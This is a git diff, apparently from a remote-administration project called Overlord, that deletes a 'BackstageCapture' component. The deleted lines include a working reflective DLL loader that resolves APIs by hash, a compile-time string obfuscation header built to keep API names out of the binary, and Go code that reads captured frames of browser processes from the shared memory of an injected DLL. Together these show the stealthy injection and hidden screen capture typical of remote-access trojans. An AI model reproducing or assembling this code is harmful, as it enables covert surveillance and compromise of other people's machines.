- // get the VA of the next section
- uiValueA += sizeof(IMAGE_SECTION_HEADER);
- }
-
- // STEP 4: process our images import table...
-
- // uiValueB = the address of the import directory
- uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
-
- // we assume their is an import table to process
- // uiValueC is the first entry in the import table
- uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
-
- // itterate through all imports
- while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
- {
- // use LoadLibraryA to load the imported module into memory
- uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
-
- // uiValueD = VA of the OriginalFirstThunk
- uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
-
- // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
- uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
-
- // itterate through all imported functions, importing by ordinal if no name present
- while (DEREF(uiValueA))
- {
- // sanity check uiValueD as some compilers only import by FirstThunk
- if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
- {
- // get the VA of the modules NT Header
- uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
-
- // uiNameArray = the address of the modules export directory entry
- uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
-
- // get the VA of the export directory
- uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
-
- // get the VA for the array of addresses
- uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
-
- // use the import ordinal (- export ordinal base) as an index into the array of addresses
- uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
-
- // patch in the address for this imported function
- DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
- }
- else
- {
- // get the VA of this functions import by name struct
- uiValueB = (uiBaseAddress + DEREF(uiValueA));
-
- // use GetProcAddress and patch in the address for this imported function
- DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
- }
- // get the next imported function
- uiValueA += sizeof(ULONG_PTR);
- if (uiValueD)
- uiValueD += sizeof(ULONG_PTR);
- }
-
- // get the next import
- uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
- }
-
- // STEP 5: process all of our images relocations...
-
- // calculate the base address delta and perform relocations (even if we load at desired image base)
- uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
-
- // uiValueB = the address of the relocation directory
- uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
-
- // check if their are any relocations present
- if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
- {
- // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
- uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
-
- // and we itterate through all entries...
- while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
- {
- // uiValueA = the VA for this relocation block
- uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
-
- // uiValueB = number of entries in this relocation block
- uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
-
- // uiValueD is now the first entry in the current relocation block
- uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
-
- // we itterate through all the entries in the current block...
- while (uiValueB--)
- {
- // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
- // we dont use a switch statement to avoid the compiler building a jump table
- // which would not be very position independent!
- if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
- *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
- else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
- *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
-#ifdef WIN_ARM
- // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
- else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
- {
- register DWORD dwInstruction;
- register DWORD dwAddress;
- register WORD wImm;
- // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
- dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
- // flip the words to get the instruction as expected
- dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
- // sanity chack we are processing a MOV instruction...
- if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
- {
- // pull out the encoded 16bit value (the high portion of the address-to-relocate)
- wImm = (WORD)(dwInstruction & 0x000000FF);
- wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
- wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
- wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
- // apply the relocation to the target address
- dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
- // now create a new instruction with the same opcode and register param.
- dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
- // patch in the relocated address...
- dwInstruction |= (DWORD)(dwAddress & 0x00FF);
- dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
- dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
- dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
- // now flip the instructions words and patch back into the code...
- *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
- }
- }
-#endif
- else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
- *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
- else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
- *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
-
- // get the next entry in the current relocation block
- uiValueD += sizeof(IMAGE_RELOC);
- }
-
- // get the next entry in the relocation directory
- uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
- }
- }
-
- // STEP 5b: register exception function table (.pdata) with the OS.
-#ifdef WIN_X64
- if (pRtlAddFunctionTable)
- {
- PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
- if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION)
- {
- PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
- if (pExcDir->VirtualAddress && pExcDir->Size)
- {
- typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64);
- ((RTLADDFNTABLE)pRtlAddFunctionTable)(
- (PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress),
- pExcDir->Size / sizeof(RUNTIME_FUNCTION),
- (DWORD64)uiBaseAddress
- );
- }
- }
- }
-#endif
-
- // STEP 6: call our images entry point
-
- // uiValueA = the VA of our newly loaded DLL/EXE's entry point
- uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
-
- // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
- pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
-
- // call our respective entry point, fudging our hInstance value
-#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
- // Store the parameter globally so DllMain can access it
- g_lpReflectiveParameter = lpParameter;
- // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
- ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
-#else
- // if we are injecting an DLL via a stub we call DllMain with no parameter
- ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
-#endif
-
- // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
- return uiValueA;
-}
-//===============================================================================================//
-#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
-
-BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
-{
- BOOL bReturnValue = TRUE;
- switch (dwReason)
- {
- case DLL_QUERY_HMODULE:
- if (lpReserved != NULL)
- *(HMODULE*)lpReserved = hAppInstance;
- break;
- case DLL_PROCESS_ATTACH:
- hAppInstance = hinstDLL;
- break;
- case DLL_PROCESS_DETACH:
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- break;
- }
- return bReturnValue;
-}
-
-#endif
-//===============================================================================================//
diff --git a/BackstageCapture/src/ReflectiveLoader.h b/BackstageCapture/src/ReflectiveLoader.h
deleted file mode 100644
index 3e13533..0000000
--- a/BackstageCapture/src/ReflectiveLoader.h
+++ /dev/null
@@ -1,215 +0,0 @@
-//===============================================================================================//
-// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
-// All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without modification, are permitted
-// provided that the following conditions are met:
-//
-// * Redistributions of source code must retain the above copyright notice, this list of
-// conditions and the following disclaimer.
-//
-// * Redistributions in binary form must reproduce the above copyright notice, this list of
-// conditions and the following disclaimer in the documentation and/or other materials provided
-// with the distribution.
-//
-// * Neither the name of Harmony Security nor the names of its contributors may be used to
-// endorse or promote products derived from this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
-// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
-// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
-// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-// POSSIBILITY OF SUCH DAMAGE.
-//===============================================================================================//
-#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
-#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
-//===============================================================================================//
-#define WIN32_LEAN_AND_MEAN
-#include
-#include
-
-#ifdef _MSC_VER
-#include
-#else
-// MinGW/GCC: _rotr lives in , __readgsqword in
-#include
-#include
-#endif
-
-#include "ReflectiveDLLInjection.h"
-
-typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
-typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
-typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
-typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
-
-#define KERNEL32DLL_HASH 0x6A4ABC5B
-#define NTDLLDLL_HASH 0x3CFA685D
-
-#define LOADLIBRARYA_HASH 0xEC0E4E8E
-#define GETPROCADDRESS_HASH 0x7C0DFCAA
-#define VIRTUALALLOC_HASH 0x91AFCA54
-#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
-
-#define IMAGE_REL_BASED_ARM_MOV32A 5
-#define IMAGE_REL_BASED_ARM_MOV32T 7
-
-#define ARM_MOV_MASK (DWORD)(0xFBF08000)
-#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
-#define ARM_MOVW 0xF2400000
-#define ARM_MOVT 0xF2C00000
-
-#define HASH_KEY 13
-//===============================================================================================//
-#ifdef _MSC_VER
-#pragma intrinsic( _rotr )
-#define RDI_INLINE __forceinline
-#else
-#define RDI_INLINE static inline __attribute__((always_inline))
-#endif
-
-RDI_INLINE DWORD ror(DWORD d)
-{
- return _rotr(d, HASH_KEY);
-}
-
-RDI_INLINE DWORD hash(char* c)
-{
- register DWORD h = 0;
- do
- {
- h = ror(h);
- h += *c;
- } while (*++c);
-
- return h;
-}
-//===============================================================================================//
-typedef struct _UNICODE_STR
-{
- USHORT Length;
- USHORT MaximumLength;
- PWSTR pBuffer;
-} UNICODE_STR, * PUNICODE_STR;
-
-// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
-//__declspec( align(8) )
-typedef struct _LDR_DATA_TABLE_ENTRY
-{
- //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
- LIST_ENTRY InMemoryOrderModuleList;
- LIST_ENTRY InInitializationOrderModuleList;
- PVOID DllBase;
- PVOID EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STR FullDllName;
- UNICODE_STR BaseDllName;
- ULONG Flags;
- SHORT LoadCount;
- SHORT TlsIndex;
- LIST_ENTRY HashTableEntry;
- ULONG TimeDateStamp;
-} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
-
-// WinDbg> dt -v ntdll!_PEB_LDR_DATA
-typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
-{
- DWORD dwLength;
- DWORD dwInitialized;
- LPVOID lpSsHandle;
- LIST_ENTRY InLoadOrderModuleList;
- LIST_ENTRY InMemoryOrderModuleList;
- LIST_ENTRY InInitializationOrderModuleList;
- LPVOID lpEntryInProgress;
-} PEB_LDR_DATA, * PPEB_LDR_DATA;
-
-// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
-typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
-{
- struct _PEB_FREE_BLOCK* pNext;
- DWORD dwSize;
-} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
-
-// struct _PEB is defined in Winternl.h but it is incomplete
-// WinDbg> dt -v ntdll!_PEB
-typedef struct __PEB // 65 elements, 0x210 bytes
-{
- BYTE bInheritedAddressSpace;
- BYTE bReadImageFileExecOptions;
- BYTE bBeingDebugged;
- BYTE bSpareBool;
- LPVOID lpMutant;
- LPVOID lpImageBaseAddress;
- PPEB_LDR_DATA pLdr;
- LPVOID lpProcessParameters;
- LPVOID lpSubSystemData;
- LPVOID lpProcessHeap;
- PRTL_CRITICAL_SECTION pFastPebLock;
- LPVOID lpFastPebLockRoutine;
- LPVOID lpFastPebUnlockRoutine;
- DWORD dwEnvironmentUpdateCount;
- LPVOID lpKernelCallbackTable;
- DWORD dwSystemReserved;
- DWORD dwAtlThunkSListPtr32;
- PPEB_FREE_BLOCK pFreeList;
- DWORD dwTlsExpansionCounter;
- LPVOID lpTlsBitmap;
- DWORD dwTlsBitmapBits[2];
- LPVOID lpReadOnlySharedMemoryBase;
- LPVOID lpReadOnlySharedMemoryHeap;
- LPVOID lpReadOnlyStaticServerData;
- LPVOID lpAnsiCodePageData;
- LPVOID lpOemCodePageData;
- LPVOID lpUnicodeCaseTableData;
- DWORD dwNumberOfProcessors;
- DWORD dwNtGlobalFlag;
- LARGE_INTEGER liCriticalSectionTimeout;
- DWORD dwHeapSegmentReserve;
- DWORD dwHeapSegmentCommit;
- DWORD dwHeapDeCommitTotalFreeThreshold;
- DWORD dwHeapDeCommitFreeBlockThreshold;
- DWORD dwNumberOfHeaps;
- DWORD dwMaximumNumberOfHeaps;
- LPVOID lpProcessHeaps;
- LPVOID lpGdiSharedHandleTable;
- LPVOID lpProcessStarterHelper;
- DWORD dwGdiDCAttributeList;
- LPVOID lpLoaderLock;
- DWORD dwOSMajorVersion;
- DWORD dwOSMinorVersion;
- WORD wOSBuildNumber;
- WORD wOSCSDVersion;
- DWORD dwOSPlatformId;
- DWORD dwImageSubsystem;
- DWORD dwImageSubsystemMajorVersion;
- DWORD dwImageSubsystemMinorVersion;
- DWORD dwImageProcessAffinityMask;
- DWORD dwGdiHandleBuffer[34];
- LPVOID lpPostProcessInitRoutine;
- LPVOID lpTlsExpansionBitmap;
- DWORD dwTlsExpansionBitmapBits[32];
- DWORD dwSessionId;
- ULARGE_INTEGER liAppCompatFlags;
- ULARGE_INTEGER liAppCompatFlagsUser;
- LPVOID lppShimData;
- LPVOID lpAppCompatInfo;
- UNICODE_STR usCSDVersion;
- LPVOID lpActivationContextData;
- LPVOID lpProcessAssemblyStorageMap;
- LPVOID lpSystemDefaultActivationContextData;
- LPVOID lpSystemAssemblyStorageMap;
- DWORD dwMinimumStackCommit;
-} _PEB, * _PPEB;
-
-typedef struct
-{
- WORD offset : 12;
- WORD type : 4;
-} IMAGE_RELOC, * PIMAGE_RELOC;
-//===============================================================================================//
-#endif
-//===============================================================================================//
diff --git a/BackstageCapture/src/obfstr.h b/BackstageCapture/src/obfstr.h
deleted file mode 100644
index 25869c4..0000000
--- a/BackstageCapture/src/obfstr.h
+++ /dev/null
@@ -1,70 +0,0 @@
-//===============================================================================================//
-// Compile-time string obfuscation via ROT16 cipher.
-// Each character is individually ROT16'd in the source so the plaintext never
-// appears contiguously in the binary. Obfuscated arrays are decrypted at call
-// site through the OBFS() macro.
-//
-// To add new strings:
-// 1. Define an encrypted array using _OBF_CHR('c') for each character.
-// 2. Use OBFS(your_array) at the point of use.
-//
-// The companion script scripts/obfuscate-strings.py automates generating
-// the _OBF_CHR sequences from a plaintext input.
-//===============================================================================================//
-#pragma once
-
-#include
-#include
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#define OBFS_KEY 16
-
-#define _OBF_CHR(c) ((unsigned char)(c) + OBFS_KEY)
-
-static inline char* obfs_dec(char* buf, int len)
-{
- for (int i = 0; i < len; i++)
- buf[i] = (char)((unsigned char)buf[i] - OBFS_KEY);
- return buf;
-}
-
-#ifdef _MSC_VER
-#define OBFS(arr) \
- obfs_dec((char*)memcpy((char*)_alloca(sizeof(arr)), (const char*)(arr), sizeof(arr)), \
- (int)(sizeof(arr) - 1))
-#else
-#define OBFS(arr) \
- obfs_dec((char*)memcpy((char[sizeof(arr)]){0}, (const char*)(arr), sizeof(arr)), \
- (int)(sizeof(arr) - 1))
-#endif
-
-// ---- Encrypted string arrays ----
-// Use _OBF_CHR() for each character so the compiler folds to constants.
-
-static const unsigned char _enc_ReflectiveLoader[] = {
- _OBF_CHR('R'),_OBF_CHR('e'),_OBF_CHR('f'),_OBF_CHR('l'),
- _OBF_CHR('e'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
- _OBF_CHR('v'),_OBF_CHR('e'),_OBF_CHR('L'),_OBF_CHR('o'),
- _OBF_CHR('a'),_OBF_CHR('d'),_OBF_CHR('e'),_OBF_CHR('r'), 0
-};
-
-static const unsigned char _enc_ntdll_dll[] = {
- _OBF_CHR('n'),_OBF_CHR('t'),_OBF_CHR('d'),_OBF_CHR('l'),
- _OBF_CHR('l'),_OBF_CHR('.'),_OBF_CHR('d'),_OBF_CHR('l'),
- _OBF_CHR('l'), 0
-};
-
-static const unsigned char _enc_RtlAddFunctionTable[] = {
- _OBF_CHR('R'),_OBF_CHR('t'),_OBF_CHR('l'),_OBF_CHR('A'),
- _OBF_CHR('d'),_OBF_CHR('d'),_OBF_CHR('F'),_OBF_CHR('u'),
- _OBF_CHR('n'),_OBF_CHR('c'),_OBF_CHR('t'),_OBF_CHR('i'),
- _OBF_CHR('o'),_OBF_CHR('n'),_OBF_CHR('T'),_OBF_CHR('a'),
- _OBF_CHR('b'),_OBF_CHR('l'),_OBF_CHR('e'), 0
-};
-
-#ifdef __cplusplus
-}
-#endif
\ No newline at end of file
diff --git a/BackstageCapture/src/seh_compat.h b/BackstageCapture/src/seh_compat.h
deleted file mode 100644
index 7e14130..0000000
--- a/BackstageCapture/src/seh_compat.h
+++ /dev/null
@@ -1,18 +0,0 @@
-// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
-#ifndef _backstage_SEH_COMPAT_H
-#define _backstage_SEH_COMPAT_H
-
-#ifdef __MINGW32__
-// MinGW doesn't support MSVC structured exception handling.
-// Replace __try/__except with plain code execution (no SEH guard).
-#define __try
-#define __except(x) if (0)
-#define __finally
-
-// MSVC uses GetExceptionCode() inside __except; provide a stub.
-#ifndef GetExceptionCode
-#define GetExceptionCode() 0
-#endif
-#endif // __MINGW32__
-
-#endif // _backstage_SEH_COMPAT_H
diff --git a/Dockerfile b/Dockerfile
index 841f595..5f28ba0 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -87,11 +87,9 @@ RUN --mount=type=cache,target=/root/.bun/install/cache \
# Server source (Overlord-Server/dist-clients may carry pre-built MSVC DLLs from CI)
COPY Overlord-Server/ ./
-# Backstage sources for the cross-compile fallback (used only if no pre-built MSVC DLL).
+# BackstageInjection source for the cross-compile fallback (used only if no pre-built MSVC DLL).
COPY BackstageInjection/ ./BackstageInjection/
COPY scripts/build-backstage-dll.sh ./scripts/
-COPY BackstageCapture/ ./BackstageCapture/
-COPY scripts/build-backstage-capture-dll.sh ./scripts/
RUN mkdir -p dist-clients && \
if [ -f dist-clients/BackstageInjection.x64.dll ]; then \
@@ -102,14 +100,6 @@ RUN mkdir -p dist-clients && \
echo "WARNING: BackstageInjection DLL not available (build with MSVC on Windows)"; \
fi
-RUN if [ -f dist-clients/BackstageCapture.x64.dll ]; then \
- echo "Using pre-built MSVC BackstageCapture DLL"; \
- else \
- chmod +x scripts/build-backstage-capture-dll.sh && \
- BACKSTAGE_CAPTURE_SRC_DIR=BackstageCapture/src BACKSTAGE_CAPTURE_OUT_DIR=dist-clients bash scripts/build-backstage-capture-dll.sh || \
- echo "WARNING: BackstageCapture DLL not available (build with MSVC on Windows)"; \
- fi
-
# Keep production build phases separate so BuildKit reports the exact slow or
# failing phase and can cache each completed phase independently.
RUN bun run build:css
diff --git a/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go b/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go
deleted file mode 100644
index 1b79dd6..0000000
--- a/Overlord-Client/cmd/agent/capture/backstage_dxgi_reader_windows.go
+++ /dev/null
@@ -1,320 +0,0 @@
-//go:build windows
-
-package capture
-
-import (
- "encoding/binary"
- "fmt"
- "log"
- "sync"
- "syscall"
- "time"
- "unsafe"
-
- "overlord-client/cmd/agent/wininterop"
-)
-
-// backstageFrameHeader mirrors the C backstageFrameHeader struct.
-// must be kept in sync with BackstageCapture/src/DXGICapture.h.
-type backstageFrameHeader struct {
- Magic uint32
- Version uint32
- Width uint32
- Height uint32
- Stride uint32
- Format uint32
- FrameSeq uint64
- TimestampNs uint64
- PID uint32
- Reserved uint32
-}
-
-const (
- backstageFrameMagic = 0x434E5648 // 'backstage'
- backstageFrameVersion = 1
- backstageFrameHeaderSize = 48 // sizeof(backstageFrameHeader)
- backstageShmPrefix = `Local\backstage_frame_`
- backstageEventPrefix = `Local\backstage_evt_`
-)
-
-var (
- procOpenFileMappingW = kernel32.NewProc("OpenFileMappingW")
- procOpenEventW = kernel32.NewProc("OpenEventW")
-)
-
-const (
- FILE_MAP_READ = 0x0004
- EVENT_ALL_ACCESS = 0x1F0003
- SYNCHRONIZE = 0x00100000
-)
-
-type backstageFrameReader struct {
- pid uint32
- shmHandle uintptr
- shmView unsafe.Pointer
- shmSize uintptr
- evtHandle uintptr
- lastSeq uint64
- staleCount int
- mu sync.Mutex
-}
-
-var (
- backstageFrameReaders = make(map[uint32]*backstageFrameReader)
- backstageFrameReadersMu sync.Mutex
-
- backstageGPUPIDMap = make(map[uint32]uint32)
-)
-
-func backstageRegisterGPUPID(browserPID, gpuPID uint32) {
- backstageFrameReadersMu.Lock()
- backstageGPUPIDMap[browserPID] = gpuPID
- backstageFrameReadersMu.Unlock()
- log.Printf("backstage dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
-}
-
-func backstageGetFrameReader(pid uint32) *backstageFrameReader {
- backstageFrameReadersMu.Lock()
- defer backstageFrameReadersMu.Unlock()
-
- if r, ok := backstageFrameReaders[pid]; ok {
- if r.staleCount > 300 {
- log.Printf("backstage dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
- r.close()
- delete(backstageFrameReaders, pid)
- } else {
- return r
- }
- }
-
- shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageShmPrefix, pid))
- shmHandle, _, _ := procOpenFileMappingW.Call(
- FILE_MAP_READ,
- 0,
- uintptr(unsafe.Pointer(shmName)),
- )
- if shmHandle == 0 {
- return nil
- }
-
- view, _, _ := procMapViewOfFile.Call(
- shmHandle,
- FILE_MAP_READ,
- 0, 0,
- backstageFrameHeaderSize,
- )
- if view == 0 {
- procCloseHandle.Call(shmHandle)
- return nil
- }
-
- hdr := (*backstageFrameHeader)(wininterop.Pointer(view))
- if hdr.Magic != backstageFrameMagic {
- procUnmapViewOfFile.Call(view)
- procCloseHandle.Call(shmHandle)
- return nil
- }
-
- fullSize := uintptr(backstageFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
-
- procUnmapViewOfFile.Call(view)
- view = 0
- hdr = nil
-
- fullView, _, _ := procMapViewOfFile.Call(
- shmHandle,
- FILE_MAP_READ,
- 0, 0,
- fullSize,
- )
- if fullView == 0 {
- procCloseHandle.Call(shmHandle)
- return nil
- }
-
- hdr2 := (*backstageFrameHeader)(wininterop.Pointer(fullView))
-
- evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageEventPrefix, pid))
- evtHandle, _, _ := procOpenEventW.Call(
- SYNCHRONIZE,
- 0,
- uintptr(unsafe.Pointer(evtName)),
- )
-
- r := &backstageFrameReader{
- pid: pid,
- shmHandle: shmHandle,
- shmView: wininterop.Pointer(fullView),
- shmSize: fullSize,
- evtHandle: evtHandle,
- }
- backstageFrameReaders[pid] = r
-
- log.Printf("backstage dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
- pid, hdr2.Width, hdr2.Height, fullSize)
- return r
-}
-
-func (r *backstageFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
- r.mu.Lock()
- defer r.mu.Unlock()
-
- if r.shmView == nil {
- return 0, 0, false
- }
-
- hdr := (*backstageFrameHeader)(r.shmView)
- if hdr.Magic != backstageFrameMagic || hdr.Version != backstageFrameVersion {
- return 0, 0, false
- }
-
- w = int(hdr.Width)
- h = int(hdr.Height)
- stride := int(hdr.Stride)
-
- if w <= 0 || h <= 0 || w > 7680 || h > 4320 || stride <= 0 || stride > 7680*4 {
- return 0, 0, false
- }
-
- dstStride := w * 4
- if stride < dstStride {
- return 0, 0, false // stride must be >= w*4
- }
-
- needed := w * h * 4
- if len(dst) < needed {
- return 0, 0, false
- }
-
- totalNeeded := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h)
- if totalNeeded > r.shmSize {
- r.remap(w, h, stride)
- if r.shmView == nil {
- return 0, 0, false
- }
- hdr = (*backstageFrameHeader)(r.shmView)
- if hdr.Magic != backstageFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
- return 0, 0, false
- }
- }
-
- pixelData := unsafe.Add(r.shmView, backstageFrameHeaderSize)
- srcSize := stride * h
- src := unsafe.Slice((*byte)(pixelData), srcSize)
-
- for y := 0; y < h; y++ {
- srcOff := y * stride
- dstOff := y * dstStride
- copy(dst[dstOff:dstOff+dstStride], src[srcOff:srcOff+dstStride])
- }
-
- seq := hdr.FrameSeq
- if seq != r.lastSeq {
- r.lastSeq = seq
- r.staleCount = 0
- } else {
- r.staleCount++
- }
-
- return w, h, true
-}
-
-func (r *backstageFrameReader) remap(w, h, stride int) {
- if r.shmView != nil {
- procUnmapViewOfFile.Call(uintptr(r.shmView))
- r.shmView = nil
- }
-
- newSize := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h)
- view, _, _ := procMapViewOfFile.Call(
- r.shmHandle,
- FILE_MAP_READ,
- 0, 0,
- newSize,
- )
- if view == 0 {
- return
- }
- r.shmView = wininterop.Pointer(view)
- r.shmSize = newSize
-}
-
-func (r *backstageFrameReader) close() {
